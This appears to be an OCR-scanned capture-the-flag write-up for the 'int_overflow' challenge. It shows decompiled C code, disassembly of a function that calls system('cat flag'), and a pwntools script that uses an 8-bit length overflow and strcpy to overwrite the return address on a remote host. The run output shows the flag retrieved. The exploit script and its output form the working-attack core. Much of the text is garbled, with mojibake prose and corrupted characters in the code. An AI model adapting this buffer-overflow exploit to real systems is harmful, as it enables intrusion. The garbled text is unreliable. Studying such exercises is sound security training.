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root@at-ubuntu:/home/atfwus/rop# checksec int overflow
[*]1 '/home/atfwus/rop/int_overflow’
Arch: 1386-32-1little

RELRO:

Stack:

NX:

PIE:
root@at-ubuntu:/home/atfwus/rop# Jj
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int __cdecl main(int argc, const char **argv, const char **envp)

{
int v4; //
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setbuf(stdin, 0);
setbuf(stdout, ©);
setbuf(stderr, 0);

T s oF
puts("~~ Welcome to CTF! ~~");
puts(" 1.Login "3
puts(" 2.Exit "3
puts("---------m-mmmmooo ");
printf("Your choice:");
__1isoc99_scanf("%d", &v4);

if ( = 1)
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;
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login();
b

else

{

@ O 00

if ( = 2)
{
puts("Bye~");
exit(e);
1
puts("Invalid Choice!™);
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}

return 6;
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llchar *login()

2i{

3| char buf; //

4| char s; //

5

6| memset(&s, @, ©x20u);

7| memset(&buf, @, @x200u);

8| puts("Please input your username:");
9/ read(@, &s, @x19u);
18| printf(“"Hello %s\n", &s);
11| puts(“Please input your passwd:");
12| read(e, &buf, ©x199u);
13| return check_passwd(&buf);
14}




lichar *__cdecl check_passwd(char *s)
2i{
3| char *result; // eax

4| char dest; // [esp+4h] [ebp-14h]

5| unsigned __int8 v3; // [esp+Fh] [ebp-9h]
6

7

8

v3 = strlen(s);
if (v3 <=3u|] vZ > 8u)
9 |

18 puts("Invalid Password");
11 result = (char *)fflush(stdout);

12| }
13| else
14, {

15 puts("Success");
16 fflush(stdout);
17 result = strcpy(&dest, s);

18| }
19| return result;
20(}

int what_is_this()

1

2q

3| return system("cat flag");
4
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Function name

-

_init_proc
sub_80484B0

_setbuf

_read

_printf

_fflush

_strcpy

_puts

_system

_exit

_strlen

_ libe_start_main
_memset

__ isoc99_scanf
__gmon_start__

_start

_ %86 _get pc_thunk bx
deregister_tm_clones
register_tm_clones
__do_global dtog#aux
frame_dunmy
what_is_this
check_passwd
login

main

_ libc_csu_init
_ libc_csu_fini
_term proc
setbuf

read
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1. BEEVIIIMER (4, 8) , FIAHEALGE, AT LUESreadi i A KE N (260, 264) .
2. IXBERE S, VBIE WIEFETE A o
3. SEHfiE — T stropyAb R A :

char *result; // eax .
char dest; // [esp+4h] [ebp-14h] €™
unsigned __int8 v3; // [esp+Fh] [ebp-9h]
4 fwFs f N0x14+4.,

5.7 & systemff ik :

.text:08048688B public what_is_this
.text:0804868B what_is_this proc near

.text:08048688 Wil

.text:0804868B push ebp

.text:0804868C mov ebp, esp

.text:0804868E sub esp, 8

.text:08048691 sub esp, OCh

.text:08048694 push offset command ; "cat flag”
.text:08048699 call _system

.text:0804869E add esp, 16h

.text:080486A1 nop

.text:080486A2 leave

.text:080486A3 retn

.text:080486A3 ; } // starts at 804868B
.text:@80486A3 what_is_this endp
.text:080486A3

.text:080486A4

Hikky: 0x0804868B
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0x02.exp



##!/usr/bin/env python
from pwn import*

#r=process('./int_overflow')
r=remote("111.198.29.45",48613)

system_adr=0x0804868B
payload=(0x14+4)*'A'+p32(system_adr)
payload+=(260-len(payload))*'A’

.recvuntil("choice:")
.sendline('1")
.recvuntil("username:")
.sendline("atfwus")
.recvuntil("passwd:")
.sendline(payload)
.interactive()
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root@at-ubuntu:/home/atfwus/rop# python expint overflow.py
[+] Opening connection to 111.198.29.45 on port 48613: Done
[*] Switching to interactive mode

Success
cyberpeace{468a054043ee5a6d9855816b88d23d01}
[*] Got EOF while reading in interactive
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